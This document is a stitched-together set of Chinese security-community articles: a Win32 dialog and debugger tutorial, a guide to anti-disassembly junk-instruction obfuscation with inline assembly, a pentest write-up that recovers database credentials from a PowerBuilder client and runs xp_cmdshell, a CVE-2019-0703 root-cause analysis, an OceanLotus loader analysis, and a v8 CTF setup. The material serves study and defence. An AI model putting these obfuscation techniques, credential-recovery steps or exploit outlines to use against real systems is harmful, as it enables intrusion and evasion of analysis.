> 在可执行文件 (.exe) 文件包含不需要编辑 (或不应编辑) 的资源，例如多个项目之间的共享资源。
> 包含开发环境不支持的资源类型。
我们在前面几节中创建了一个窗口，并在窗口里面添加了一系列的按钮，今天我们就使用到资源文件来实现创建窗口的操作。
这里我们首先创建一个资源文件
手动添加`resource.h`头文件
右键在rc文件处加入Dialog并点击新建
可以看到创建成功
右键修改对话框的属性
F7编译后会在`resource.h`头文件中定义一个dialog
然后就可以用`DialogBox()`生成dialog
**GetProcAddress**
FARPROC GetProcAddress(
HMODULE hModule, // handle to DLL module
LPCSTR lpProcName // function name
);
> * _hModule_ [in] Handle to the DLL module that contains the function or
> variable. The [**LoadLibrary**](dll_1o8p.htm) or
> [**GetModuleHandle**](dll_5plx.htm) function returns this handle.
> * _lpProcName_ [in] Pointer to a null-terminated string containing the
> function or variable name, or the function’s ordinal value. If this
> parameter is an ordinal value, it must be in the low-order word; the high-> order word must be zero.
>
`GetProcAddress`的作用是通过`hModule`到导出表里找到dll，然后通过名字得到dll地址
char szDllBuffer = "kernel32.dll";
char szFunctionName = "Function";
GetProcAddress(szDllBuffer,szFunctionName);
但是我们知道在导入表里有两种导入方式，一是名称导入，二是序号导入，那么如果是序号导入的情况下我们就需要把序号强转为`char*`类型后再去查询，即用指针去查询
char szDllBuffer = "kernel32.dll";
char szFunctionName = "Function"; //序号为11
GetProcAddress(szDllBuffer,(char*)11);
**Dialogbox**
INT_PTR DialogBox(
HINSTANCE hInstance, // handle to module
LPCTSTR lpTemplate, // dialog box template
HWND hWndParent, // handle to owner window
DLGPROC lpDialogFunc // dialog box procedure
);
> * _hInstance_ [in] Handle to the module whose executable file contains the
> dialog box template.
> * _lpTemplate_ [in] Specifies the dialog box template. This parameter is
> either the pointer to a null-terminated character string that specifies the
> name of the dialog box template or an integer value that specifies the
> resource identifier of the dialog box template. If the parameter specifies a
> resource identifier, its high-order word must be zero and its low-order word
> must contain the identifier. You can use the
> [**MAKEINTRESOURCE**](resource_2dd1.htm) macro to create this value.
> * _hWndParent_ [in] Handle to the window that owns the dialog box.
> * _lpDialogFunc_ [in] Pointer to the dialog box procedure. For more
> information about the dialog box procedure, see
> [**DialogProc**](dlgboxes_5lib.htm).
>
第一个参数`hInstance`相当于`ImageBase`，第二个参数`lpTemplate`就是dialog需要的模板，这里就是我们之前自己手动生成的dialog，第三个参数`hWndParent`为父进程的句柄，如果没有父进程的话就写NULL，第四个参数`lpDialogFunc`就是当前窗口的消息处理函数
消息处理函数代码如下：
BOOL CALLBACK DialogProc(
HWND hwndDlg, // handle to dialog box
UINT uMsg, // message
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
switch(uMsg)
{
case WM_INITDIALOG :
MessageBox(NULL,TEXT("WM_INITDIALOG"),TEXT("INIT"),MB_OK);
return TRUE ;
case WM_COMMAND :
switch (LOWORD (wParam))
{
case IDC_BUTTON_OK :
MessageBox(NULL,TEXT("IDC_BUTTON_OK"),TEXT("OK"),MB_OK);
return TRUE;
case IDC_BUTTON_ERROR:
MessageBox(NULL,TEXT("IDC_BUTTON_ERROR"),TEXT("ERROR"),MB_OK);
EndDialog(hwndDlg, 0);
return TRUE;
}
break ;
}
return FALSE ;
}
这里我直接使用`IDD_DIALOG_MAIN`这个定义好了的宏发现报错，报错原因是不能够把int类型转为char*类型。在windows里面是不允许直接使用数字去查询的，跟上面所提到的`GetProcAddress()`函数一样，这里也需要使用指针去查询
这里可以使用`(char*) IDD_DIALOG_MAIN`进行强转，但是这里msdn里给我们定义了一个宏方便我们进行转型
> You can use the MAKEINTRESOURCE macro to create this value.
那么这里就可以使用`MAKEINTRESOURCE (IDD_DIALOG_MAIN)`即可
即可弹出窗口
使用资源文件的话可以简化为两个步骤：创建窗口和提供消息处理函数
## 添加按钮&文本框
双击资源文件，添加两个按钮，然后点击下方两个按钮即可调整为两个完全相同的按钮
右键点击属性进行修改
回到`resource.h`发现又多了两个定义
这里加一下两个按钮的消息处理函数
F7编译运行看一下效果
继续再生成两个文本框，分别为`UserName`和`PassWord`，左边的为静态即写死了的文本框，右边的为动态即可编辑的对话框
这里我想把`UserName`框和`PassWord`框里面的字符取出来打印，就需要以下两个步骤
* 获取文本框句柄
* 获取文本框内容
这里获取文本框句柄可以使用如下语句
HWND hEditUser = GetDlgItem(hDlg,IDC_EDIT_USER);
**GetDlgItem**
HWND GetDlgItem(
HWND hDlg, // handle to dialog box
int nIDDlgItem // control identifier
);
> * _hDlg_ [in] Handle to the dialog box that contains the control.
> * _nIDDlgItem_ [in] Specifies the identifier of the control to be
> retrieved.
>
然后再就是获取文本框的内容
TCHAR szUserBuff[0x50];
GetWindowText(hEditUser,szUserBuff,0x50);
**GetWindowText**
int GetWindowText(
HWND hWnd, // handle to window or control
LPTSTR lpString, // text buffer
int nMaxCount // maximum number of characters to copy
);
> * _hWnd_ [in] Handle to the window or control containing the text.
> * _lpString_ [out] Pointer to the buffer that will receive the text.
> * _nMaxCount_ [in] Specifies the maximum number of characters to copy to
> the buffer, including the NULL character. If the text exceeds this limit, it
> is truncated.
>
在`GetWindowText`处下一个断点
这里在`UserName`和`PassWord`处分别填上
点击OK，看一下`szUserBuff`
F10单步往下跟，发现已经存到了缓冲区里面
`szPassBuff`缓冲区也同理
## 定位对话框回调函数
打开od进入入口函数，找到`DialogBoxParamA`，就是我们之前写的那个`dialog`对话框的处理函数
ctrl+g跟到回调函数
下断点添加判断条件
点击OK暂停下来
## 消息断点
这里因为我们自己写的这个程序很简单，很容易找到消息处理函数，但是如果逆向其他的程序的时候界面窗口很多的情况下就很难找到消息处理函数，所以这时候我们就需要用到消息断点
这里我们先运行一下
找到W按钮这个地方
右键下一个`ClsProc`的消息断点
这里因为我们要跟子窗口的这个消息处理函数，我们知道子窗口的消息处理函数调用了父窗口的`WM_COMMAND`，所以这个地方我们需要找的是鼠标左键进行的操作。这里可以看到鼠标左键是有两个操作的，一个是`WM_LBUTTONDOWN`，一个是`WM_LBUTTONUP`，那么这两个有什么区别呢
`WM_LBUTTONDOWN`就是当你鼠标在按下去的那一刻但是没有松开鼠标的时候，如果有消息发生就设置`WM_LBUTTONDOWN`，如果在鼠标松开的那一刻有消息发生就设置`WM_LBUTTONUP`，所以这里就需要使用到202的消息处理函数
这里再到断点的地方去看一下
当我点击OK这里就已经断点断下来了
但是他这里只是断到了内存里系统的这个函数上，还不够，还要继续往下找
到内存资源图里看一下，看到了pe结构
这里也就是说如果你要使用button这个结构，pe文件使用的时候必须要调用我们刚才断点所在的函数，所以这里继续右键在`.text`处设置内存访问断点
设置断点后f9，发现已经跳到了`401000`，但是这里注意一下，这个函数并不能百分之百确定就是我们点击按钮的时候调用的消息处理函数，所以这里还需要判断一下
这里看一下我们现在跟到的这个函数的`esp+8`的位置，即消息类型，我们知道如果是正确的调用函数，`esp+8`的位置是`WM_COMMAND`，对应的编号为111，而这里的编号为135，明显就不是我们找的那个函数
那么这里继续F8单步往下跟，可以看到这里有一个`retn`语句
到`retn`语句执行之后又返回到了内存中的地址
这时候再F9运行又回到了`401000`但是这时候的消息编号已经是`WM_COMMAND`了 | 社区文章 |
# 花指令总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0.说明
编译语言：c、x86汇编
编译器：vc++6.0
个人编写的花指令exe练习及源码：链接: <https://pan.baidu.com/s/1Y3obCJFD2Gwmddfp37cnvg> 提取码:
tf8e
## 1.花指令简介
一般花指令类似这样，让反编译器无法反编译起到混淆代码的作用。
### 作用
混淆反编译器，让反编译器无法反编译。
### 原理
**a.背景**
由于反编译器的工作原理一般是 _线性扫描反汇编算法_ 或 _行进递归反拒绾算法_
**我的理解是**
，反编译器的工作原理是，从exe的入口AddressOfEntryPoint处开始，依序扫描字节码，并转换为汇编，比如第一个16进制字节码是0xE8，一般0xE8代表汇编里的CALL指令，且后面跟着的4个字节数据跟地址有关，那么反编译器就读取这一共5个字节，反编译为`CALL
0x地址` 。
对应的，有些字节码只需要一个字节就可以反编译为一条指令，例如0x55对应的是`push
ebp`，这条语句每个函数开始都会有。同样，有些字节码又需要两个、三个、四个字节来反编译为一条指令。
也就是说，如果中间只要一个地方反编译出错，例如两条汇编指令中间突然多了一个字节0xE8，那反编译器就会将其跟着的4个字节处理为CALL指令地址相关数据给反编译成一条`CALL
0x地址`指令。但实际上0xE8后面的四个字节是单独的字节码指令。这大概就是 **线性反编译** 。
**b.实现**
> 如上面所说，那如何在两条代码之间插入无用的字节就成了问题，而且还要保证字节不会被执行，不然直接乱套了。
1.插入字节：这里就提到汇编里一个关键指令：`_emit 立即数`
//C语言中使用内联汇编
__asm
{
_emit 0xE8
}
//代表在这个位置插入一个字节数据0xE8
2.保证不被执行：通过构造一个永恒的跳转
__asm
{
jmp Label1
db thunkcode1; 垃圾数据
//垃圾数据例如：_emit 0xE8
Label1:
}
例如这样：
我对这反编译器对花指令的反编译稍作修改
**c.去掉花指令-> nop(0x90)**
这部分是通过IDA手动去掉花指令，也可以在IDA里用IDApython/IDC写脚本去，或者在OD调试的时候去掉，原理都一样。
**d.花指令经典名言**
* * *
**构造永恒跳转，添加垃圾数据**
## 2.简单花指令
### a.最简单的jmp
jmp Label1
db thunkcode1;垃圾数据
Labe1:
不过很可惜，反编译器能直接识别这种简单花指令，遇到这种能轻松过掉并反编译。
### b.过时的多节形式与多层乱序
这两周都是通过多次跳转，把垃圾数据和有用代码嵌套在一起，不过这种形式也比较老套了，反编译器依然能够轻松过掉并成功反汇编。
#多节形式
JMP Label1
Db thunkcode1
Label1:
……
JMP Label2
Db thunkcode2
Label2:
……
JMP Label1
Db thunkcode1
Label2:
……
JMP Label3
Db thunkcode3
Label1:
…….
JMP Label2
Db thunkcode2
Label3:
……
## 3.入门花指令
### a.互补条件代替jmp跳转
asm
{
Jz Label
Jnz Label
Db thunkcode;垃圾数据
Label:
}
类似这种，无论如何都会跳转到label1处，还是能骗过反编译器。
### b.跳转指令构造花指令
__asm {
push ebx;
xor ebx, ebx;
test ebx, ebx;
jnz LABEL7;
jz LABEL8;
LABEL7:
_emit 0xC7;
LABEL8:
pop ebx;
}
很明显，先对ebx进行xor之后，再进行test比较，zf标志位肯定为1，就肯定执行`jz LABEL8`，也就是说中间0xC7永远不会执行。
不过这种一定要注意：记着保存ebx的值先把ebx压栈，最后在pop出来。
### c.call&ret构造花指令
__asm {
call LABEL9;
_emit 0x83;
LABEL9:
add dword ptr ss : [esp] , 8;
ret;
__emit 0xF3;
}
> call指令的本质：`push 函数返回地址`然后`jmp 函数地址`
>
> ret指令的本质：`pop eip`
代码中的esp存储的就是函数返回地址，对[esp]+8，就是函数的返回地址+8，正好盖过代码中的函数指令和垃圾数据。（这部分建议自己调试一下）
## 4.创意花指令
前面几种花指令都是比较老套的，入门花指令还能勉勉强强骗过反编译器，不过有经验的逆向者一眼就能识破，以下几种花指令形式，可以任由自己构造。
### a.替换ret指令
_asm
{
call LABEL9;
_emit 0xE8;
_emit 0x01;
_emit 0x00;
_emit 0x00;
_emit 0x00;
LABEL9:
push eax;
push ebx;
lea eax, dword ptr ds : [ebp - 0x0];
#将ebp的地址存放于eax
add dword ptr ss : [eax-0x50] , 26;
#该地址存放的值正好是函数返回值，
#不过该地址并不固定，根据调试所得。
#加26正好可以跳到下面的mov指令，该值也是调试计算所得
pop eax;
pop ebx;
pop eax;
jmp eax;
_emit 0xE8;
_emit 0x03;
_emit 0x00;
_emit 0x00;
_emit 0x00;
mov eax,dword ptr ss:[esp-8];
#将原本的eax值返回eax寄存器
}
由于：
> call指令的本质：`push 函数返回地址`然后`jmp 函数地址`
>
> ret指令的本质：`pop eip`
两者都是对寄存器eip中存放的地址的操作。
所以我们可以在call指令之后，清楚的明白函数返回地址存放于esp，可以将值取出，用跳转指令跳转到该地址，即可代替ret指令。
当然，这种构造跳转指令可以变化多样。
### b.控制标志寄存器跳转
这一部分需要精通标志寄存器，每一个操作码都会对相应的标志寄存器产生相应的影响，如果我们对标志寄存器足够熟练，就可以使用对应的跳转指令 **构造永恒跳转**
！。
### c.利用函数返回确定值
有些函数返回值是确定的，比如我们自己写的函数，返回值可以是任意非零整数，就可以自己 **构造永恒跳转** 。
还有些api函数也是如此：
一方面可以传入一些错误的参数，如[LoadLibraryA](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya)
HMODULE LoadLibraryA(
LPCSTR lpLibFileName
);
如果我们故意传入一个不存在的模块名称，那么他就会返回一个确定的值 **NULL** ，我们就可以通过这个 **构造永恒跳转**
另一方面，某些api函数，我们既然使用他，肯定就是一定要调用成功的，而这些api函数基本上只要调用成功就就会返回一个确定的零或者非零值，如[MessageBox](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox)
int MessageBox(
HWND hWnd,
LPCTSTR lpText,
LPCTSTR lpCaption,
UINT uType
);
该api只有在其调用失败的时候才能返回零，那么我们也可以通过这一点 **构造永恒跳转**
PS：利用MessageBox实现花指令也是我在 **1.花指令简介** 中用到的源码
## 5.花指令原理另类利用
当我们理解了花指令的原理后，我们可以在将花指令中的垃圾数据替换为一些特定的 **特征码** ，可以对应的$“定位功能”$，尤其在
**[SMC自解码](https://blog.csdn.net/dontbecoder/article/details/8754729?utm_source=app)**
这个反调试技术中可以运用。例如：
asm
{
Jz Label
Jnz Label
_emit 'h'
_emit 'E'
_emit 'l'
_emit 'L'
_emit 'e'
_emit 'w'
_emit 'o'
_emit 'R'
_emit 'l'
_emit 'D'
Label:
}
将这串特征码`hElLowoRlD`嵌入到代码中，那我们只需要在当前进程中搜索`hElLowoRlD`字符串，就可以定位到当前代码位置，然后对下面的代码进行SMC自解密。
## 6.花指令的看法
重点： **构造永恒跳转，添加垃圾数据！**
重一方面构造一个永恒的跳转，一方面又比较隐蔽，不仅骗过反编译器，更让破解者找不到花指令。
## 7.最后
参考文章：[抗去除花指令](https://bbs.pediy.com/thread-129526.htm)
原博主在他文章的评论里讲的的这句话挺有道理的！ | 社区文章 |
# 对某进销存系统的一次有趣渗透
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
由于个别原因，需要对某进销存系统进行一次测试，尽可能拿到服务器权限。
已经拿到某台部署好此系统的主机权限，打包下载该软件包安装文件夹。
由于本人对软件逆向了解并不深入，本次测试纯属巧合。
如有错误，望大佬们指教、多多谅解。
为了避免不必要的麻烦，图片打码比较严重，请各位多多谅解！
## 架构
该软件部署会进行数据同步，服务器与客户端SQL
Server数据库中个别表和库会进行同步，由于配置不当，其实最初已经发现了可以通过弱口令,连接客户端的数据库，即可读得用户名及加密后的密码。加密后的密码不是MD5加密，经过观察分析，有如下特征:
* 密文与原密码位数相同
* 明文前N位相同时密文前N位也相同
由此猜测加密方式应该为可逆的，非哈希加密，由于本人未深入学习过密码学，因此放弃了这个入口，来通过软件作为入口。
下文为避免敏感信息，本文假设分析软件为:xxxcms进销存系统。
## 逆向分析
由于此系统由多部份组成，而与服务器进行同步交互登录的部分为:xxxstart.exe,因此通过此二进制文件作为入口:
打开神器IDA，加载二进制文件，F5可以看到有如下函数:
进入WinMain函数入口，可以看到大概就是获取命令行参数然后调用FN_RunExecutable
继续跟进FN_RunExecutable
可以看到没什么内容，又进行了一次调用，双击跟进:
借助一下万能的搜索引擎:
浏览发现与此处情况相同，只是引用DLL不同，此程序引用PBVM60.dll，文章中为PBVM125.dll
此处接触到了一个古老的东西PowerBuilder，编译后文件后缀为.pbd，PowerBuilder词条解释为:
>
> PowerBuilder是Powersoft（美国著名的数据库应用开发工具厂商，现已被德国SAP集团旗下的Sybase公司收购）推出的可视化数据库集成开发工具，它是一个专业的客户机／服务器应用程序开发工具。PowerBuilder当前的最新版本是12.6，最新版本最大特点是支持了Odata，且和APPEON结合可以达到写一套程序可以在C/S、手机(android和iOS)和WEB平台上使用。它能够设计传统的基于客户机／服务器体系结构的应用系统，从6.0版本开始也能够开发基于Internet的应用系统（Web.PB）。
因此可以猜到主要的登录交互及功能都通过.pbd文件实现，在程序文件夹中找到了xxxstart.pbd文件，这里借助PBKiller来对此文件进行反编译，由于未进行加密混淆，因此程序结构和代码格外清晰，看到了w_halt以命名，猜测与密码加盐相关:
查看w_halt的cb_1控件属性，如下图，可得知为登录按钮:
点击Events查看函数调用，确定为登录验证函数:
接下来可以看出核心函数为ypassword函数，但是未在xxxstart.pbd中找到此函数定义，通过查看所有的属性及函数，发现在某处引用了xxx_login.pbd，因此继续对此文件继续分析(中间有个插曲时PBKiller在查看较大的窗体时就会卡死崩溃掉，shudepb又不允许虚拟机执行，因此改用了DePB_1.0_fix进行分析才找到xxx_login.pbd调用)
此处找到了ypassword函数，但是更关注connect_db和loginpassword相关函数
这里得到可以看到函数加盐过程:
流程大概为:
先将明文转为大写，取得长度，然后通过ASCII码生成一个0-9，A-Z的数组，再以初值为1，2，3，分别以步长为3取数组重新组合，生成新的数组，最后通过key密钥逐个取值转ASCII码运算后进行取值，逐次得到加密后的密文，加密算法改写为python,如下:
此处可以通过改写反向解密所有密文即可，但是为了进一步深入，我们查看connect_db相关函数,可看到如下代码:
大意为通过获取名为xxxbc.dll的文件中的节，获取bc1-bc7变量来获得数据库连接参数，因此通过IDA继续分析此dll，结构大概如下:
到此获得了数据库连接的IP、库名等相关参数以及用户名和密码，尝试连接，但是连接失败，分析代码发现找到的密码并不是真正的密码，还需要通过login_password函数进行一次加密,通过改写的python代码进行加密，得到密码，连接成功，，测试XP_CMDSHELL是否能执行，执行成功,如下:
至于后续提权这些常规操作就不赘述了
## 总结
在渗透中经常会遇到各种场景和问题，作为一般以Web打点的Web狗，在这次巧合下进行了简单的逆向来打点，虽然操作都比较简单，主要分享下思路和中间遇到的问题，各位大佬请多多谅解！ | 社区文章 |
# CVE-2019-0703根源分析
|
##### 译文声明
本文是翻译文章，文章原作者 checkpoint，文章来源：research.checkpoint.com
原文地址：<https://research.checkpoint.com/upsynergy/>
译文仅供参考，具体内容表达以及含义原文为准。
微软称CVE-2019-0703漏洞是Windows
SMB服务器处理特定请求时发生信息泄露漏洞。成功利用该漏洞是攻击者可以伪造包，从服务器窃取信息，导致信息泄露。
为了利用该漏洞，攻击者需要认证并发送SMB消息到受影响的Windows SBM服务器。安全更新通过修正Windows
SMB服务器处理经过认证的请求的方式来修复该漏洞。
但研究人员发现了一些不同的情况。研究人员该漏洞事实上是一个与从Windows Named
Pipes查询信息的机制相关的逻辑漏洞，并非SMB协议或其实现中的漏洞。虽然目前该漏洞是通过SMB触发的，但仍然有一些其他方式来利用该漏洞，比如使用NtQueryInformationFile
Windows API调用，而这与SMB是无关的。
该bug位于`npfs.sys`(Name Pipe File System
driver)中的函数`NpQueryInternalInfo`中。`npfs.sys`用于查询命名的pipe并返回一个文件引用数的值，而微软官方文档显示该值必须由文件系统分配，并且对文件或目录所在的卷是唯一的。
研究人员分析表明返回的值并非文件引用数（file reference number），而是一个指向kernel结构CCB（Client Control
Block）的指针。这在`npfs.sys`中并没有定义，但是在ReactOS
项目中有部分定义，即`NP_CCB`。很明显这并不是应该返回的值，泄露的struct可以被攻击者利用。
图8: 泄露的对象是CCB struct
为了触发该信息泄露漏洞，通过`ntdll.dll`的`NtQueryInformationFile stub`的以下参数进行调用：
FileHandle – Handle to a named pipe (for example “\.pipebrowser”).
FileInformationClass – FileInternalInformation (equals 0x6).
发生后，可以得到下面的调用栈：
图9: 与从用户模式调用`NtQueryInformationFile`相关的Kernel mode调用栈
前面已经讲到，该漏洞可以通过SMB来触发。用来确定被攻击的操作系统的位和覆写泄露的结构的域的方法，会导致远程代码执行。
为了利用该漏洞，必须首先建立到受害者及其的命名pipe的SMB连接，如下图所示：
图10: 证明建立了到pipebrowser 命名pipe (FID 0x4000)的SMB包网络抓包
然后可以用`0x32
SMB`命令(`SMB_COM_TRANSACTION2`)和`0x7`子命令(`TRANS2_QUERY_FILE_INFORMATION`)来查询关于打开的pipe的信息。后者有一个名为`InformationLevel`的域来描述从服务器提取的信息类型。
如果服务器在Negotiate Response域中声明了名为`Infolevel
Passthru`的功能作为早期协商信息，还可以提取更多的信息，，比如在服务器上提供原生文件信息。这样，前者的能力允许其提供名为`Pass-thru
Information Level`的代码数（客户端）来直接与服务器上另一个名为`Information
Class`的代码数映射。该值与`NtQueryInformationFile
API`的`FileInformationClass`参数是对应的，其中指定了从服务器查询什么类型的文件信息。
为了使用一个`pass-thru Information Levels`来查询服务器上的文件，添加值`0x3e8
(SMB_INFO_PASSTHROUGH)`到请求的`Information
Class`中就可以了。比如，如果获取`FileInternalInformation Information
Class`，想要获取相应的Information Level，只需要添加之前提到的值到information level中，最终会得到值`0x3ee`。
在本例中，使用相同的`Information
Level`将其作为`TRANS2_QUERY_FILE_INFORMATION`子命令的参数，通过从`srv.sys` driver (SMB
driver)中调用`NtQueryInformationFile`来触发该漏洞。后者会从npfs.sys来调用有漏洞的`NpQueryInternalInfo`，如下所示：
图11: Kernel mode调用栈
研究人员通过之前提到的info level发布一个到Trans2的请求来查询文件信息，并在响应中获取了CCB泄露的指针。
图12: Wireshark中获取的触发该漏洞的视图
为了确认该漏洞的根源，研究人员分析了`npfs.sys`文件补丁代码和未修复版本的差异：
图13: 补丁差异分析
可以看出，在有漏洞的代码中，`out_buffer`参数会返回调用者，然后客户端含有一个到`ClientControlBlock
(NP_CCB)`参数的指针，而非文件引用数。在补丁版本的代码中，`ClientControlBlock`的`0xa0`和`0xa4`被写入了`out_buffer`。
通过从信息泄露中得到的信息可以在受害者机器中执行代码。具体来说，需要了解CCB结构。其中一个成员指向了另一个结构`struct
x`。该结构中含有一个指向一个函数的指针，该函数会在连接到命名pipe终止时被调用，将其称之为pipe destructor function。
在APT3的漏洞实现中，HAL堆使用了struct x 的shellcode和实例。实例中止含有一个指向pipe destructor
function位置的shellcode的指针。因此，如果知道泄露的CCB结构，就可以覆写其到struct
x的指针，这样就可以指向虚假的实例。当连接关闭时，shellcode会被触发，攻击者就可以在受害者机器上执行任意代码。 | 社区文章 |
# 海莲花后渗透阶段白加黑组件小结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
海莲花（OceanLotus）是一个据称东南亚背景的APT组织。该组织最早于2015年5月被天眼实验室（现红雨滴团队）披露并命名，其攻击活动最早可追溯到2012
年4月，攻击目标包括人权代表、异见人士、媒体、银行、海事机构、海域建设部门、科研院所和航运企业，后扩展到几乎所有重要的组织机构，受害区域涉及东亚、东南亚、欧洲等地区，持续活跃至今。
从2020年中开始海莲花组织逐渐放弃了基于鱼叉邮件的投递方式，开始通过渗透的手段对高价值目标进行攻击活动，这意味着出现在大众视野范围内的海莲花将会大幅度减少。但历史告诉我们，看不见的敌人才是最危险的，那些尚未被发现的APT攻击，才应该是我们研究的重点。
本文将对部分出现在VirusTotal上的海莲花后渗透阶段释放cs远控的各类白加黑组件进行分析和总结。
## 样本分析
从shellcode的存放位置来讲，可以大体将海莲花白加黑组件分为shellcode在资源和shellcode硬编码在数据段。而从shellcode的加载方式来讲，可以将其分为：不依赖外部文件直接自解密、获取当前主机信息作为密钥解密shellcode、读取外部文件解密shellcode、进程注入加载shellcode等几类。下文将分别对这几类样本进行分析。
### shellcode硬编码
**获取主机信息解密类**
此类样本入口点代码如下，关键函数在DllMain末尾的函数中
该函数内部会执行一个call调用，push 0 之后直接调用ExitProcess结束进程
被调用的这个函数将会先创建一个互斥体进行多开检测，互斥体的命名格式为，该互斥体名通常由上一段shellcode获取计算机用户名并转换生成：
Local{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
互斥体创建完成之后，程序将会VirtualAlloc分配一段内存空间并在将一段硬编码在程序中的数据拷贝过来，最终通过call
esi的方式跳转到新开辟的内存空间中执行。
shellcode如下，这类样本的shellcode仅需动态获取API地址即可，不用再自解密自身。
大多数情况下，这段shellcode也是一个加载器，它会尝试获取当前主机的一些信息以解密后续的payload，这取决于上一阶段的样本向C2发送了哪种类型的信息hash值以生成加密的数据。常见的信息类型为计算机名、用户名、ip地址等。
程序以相同的逻辑获取当前主机的信息，计算hash并尝试用该hash进行解密，这是一种较为有效的反分析手法，可以确保程序不会在非预期的环境下运行。
待解密的数据也以硬编码的形式存储在原始文件的data段中
若程序解密成功，则创建线程执行解密之后的shellcode
**自解密类**
在另外一种情况下，攻击者可能会在加载硬编码的shellcode之前获取当前dll的调用进程名并与预定义的进程名做比较来实现简单的环境检测
而这个版本硬编码的shellcode将会动态解密自身
循环自解密之后，程序动态获取API地址，然后通过VirtualAlloc分配新的内存空间之后填充另外一段shellcode加载执行。
加载的代码为CobaltStrike的payload
**释放白加黑组件类**
而在某些情况下，硬编码的shellcode可能是如下形式：
此类样本主要是起到一个文件拷贝功能，程序会将当前目录下一组白加黑的样本拷贝到%temp%目录下并启动白exe以加载恶意dll。
拷贝利用的黑dll
设置计划任务用于启动%temp%目录下的wps.exe
设置的计划任务如下
### shellcode在资源
**获取主机信息解密类**
此类样本和上述样本在解密方式上保持一致，均为获取受害者主机上的基本信息生成key进行解密。但不同的是此类样本的shellcode并没有硬编码到数据段，而是藏在了资源中。样本在dllMain进来依旧是先创建一个海莲花风格的互斥体，然后在执行一段无实际意义的代码之后读取资源并创建线程执行资源的shellcode。
此类样本读取资源之后将会直接加载，在shellcode中动态解密自身。
资源shellcode会通过多个循环动态解密自身
解密完成之后通常会出现如下格式的代码，一般情况下，call执行的代码主要是用于动态获取API地址，jmp跳转过去的代码才是真实的功能代码
和类别一的解密逻辑相同，此类样本最终通过获取的信息生成key然后尝试用该key进行解密，若解密成功创建线程执行解密后的shellcode
**读取文件解密类**
除了获取上一阶段的主机信息以解密shellcode，海莲花有时候还会通过读取特定的外部文件进行解密。
原始样本为dll，依旧是白利用的方式加载名为InitLPUHelper的导出函数
在ExitProcess之前的函数调用，会读取当前的资源文件并将其拷贝到VirtualAlloc分配的新内存空间中，通过call
edi的方式加载shellcode。
shellcode入口点是熟悉的自解密代码，代码会动态循环解密自身，解密之后的代码如下
加载链接库和获取API地址
尝试打开%Temp% 路径下的.tmp文件
若文件打开失败，程序则判定当前的环境不符合预期，从而退出运行。
**进程注入类**
此类样本主要通过进程注入实现shellcode的加载， 外层的loader大同小异，只是少数样本会将关键call藏到某个导出函数中而不再是dllMain
该段shellcode执行之后会动态获取一些API的地址并调用
创建一个svchost.exe进程用于注入
最终，程序尝试在刚才启动的进程中进行注入
此样本分配的空间为0x90000
将shellcode写入到svchost的内存中
写入的代码为海莲花的常用自解密shellcode
最终创建远线程加载shellcode
## 总结
最开始，海莲花艺高超的社工技巧出现在我们的视野中，那时候对海莲花TTP的构建中其中一条便是：擅长使用鱼叉攻击和水坑攻击。但通过近两年的表现来看，攻击者的战术也在不断更新。他们已经逐渐舍弃了钓鱼攻击的手法，而是将更多的精力放在了供应链和渗透上，让受害者更加防不胜防，难以排查。作为安全人员，我们不可能专情的只盯着一个APT组织，但是作为APT组织，他们可以非常「纯粹」和「专一」的盯着一个目标。本文简单分析了海莲花组织在渗透中所使用的白加黑组件的各类加载方式，但这只是我们视野范围内的冰山一角，在看不到的地方，还有更多未知的威胁等着我们去发现。 | 社区文章 |
# chrome study by v8 oob
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
> 学习浏览器，从v8入手，这道题有比较详细的资料，作为入门题非常有优势。
## 环境搭建
### 基础v8的环境搭建
使用的环境：ubuntu 18.04
v8环境搭建：<https://warm-winter.github.io/2020/10/11/v8%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/>
### 解题的搭建
一般浏览器的出题有两种
* 一种是diff修改v8引擎源代码，人为制造出一个漏洞，
* 另一种是直接采用某个cve漏洞。一般在大型比赛中会直接采用第二种方式，更考验选手的实战能力。
出题者通常会提供一个diff文件，或直接给出一个编译过diff补丁后的浏览器程序。如果只给了一个diff文件，就需要我们自己去下载相关的commit源码，然后本地打上diff补丁，编译出浏览器程序，再进行本地调试。
比如starctf中的oob题目给出了一个diff文件：
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
[...]
以上截取了第一部分，是对/path/v8/src/bootstrapper.cc做了修改。
在/path/v8下执行以下的命令，将diff文件加入到v8中源代码分支中：
git apply /path/oob.diff
我们找到`bootstrapper.cc`文件，搜索`SimpleInstallFunction(isolate_, proto,
"fill",`，发现下面已经将oob函数加入进去，patch成功。
最后编译出增加了diff补丁的v8程序调试即可。
### 环境问题
正常来说，debug版本和release版本都能使用，但是调试这道题的时候，碰到了如下的问题：
release版本正常运行
debug版本报错
> e3pem师傅的博客是这样解释的：
>
>
> 了解到是DCHECK宏的问题，然而对宏修改或是注释之后发现编译出来的d8执行还是会出现问题(这个时候已经开始怀疑人生了)。后来仔细的观察了一下师傅们写的文章，发现里面调试oob的时候都是用的release版本，之前也试过release版本的d8确实不会出现问题，所以很可能debug版本的d8就是不行，而别人文章里面出现的debug版本的d8的目的就是为了了解v8的数据是怎么存储的。所以这里正确的用法应该是用release版本进行调试，用debug版本来辅助分析。
## v8的基础知识
v8编译后二进制名称叫d8而不是v8。
### 调试
#### 1.allow-natives-syntax选项
功能：定义了一些v8运行时支持函数，主要有以下两个：
